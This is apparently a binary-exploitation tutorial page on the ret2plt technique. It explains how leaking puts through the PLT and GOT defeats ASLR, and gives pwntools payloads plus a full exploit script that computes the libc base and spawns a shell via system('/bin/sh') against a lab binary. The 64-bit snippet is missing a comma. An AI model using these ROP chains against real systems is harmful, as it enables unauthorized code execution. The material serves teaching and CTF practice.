# Ret2plt
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## Basic Information
The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**.
This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
```python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
```
Note how **`puts`** (using the address from the PLT) is called with the address of `puts` located in the GOT (Global Offset Table). This is because by the time `puts` prints the GOT entry of puts, this **entry will contain the exact address of `puts` in memory**.
Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the **binary calls `main` again instead of exiting** (so the leaked address will continue to be valid).
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Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first.
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You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**:
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
```
## Other examples & References
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
* 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
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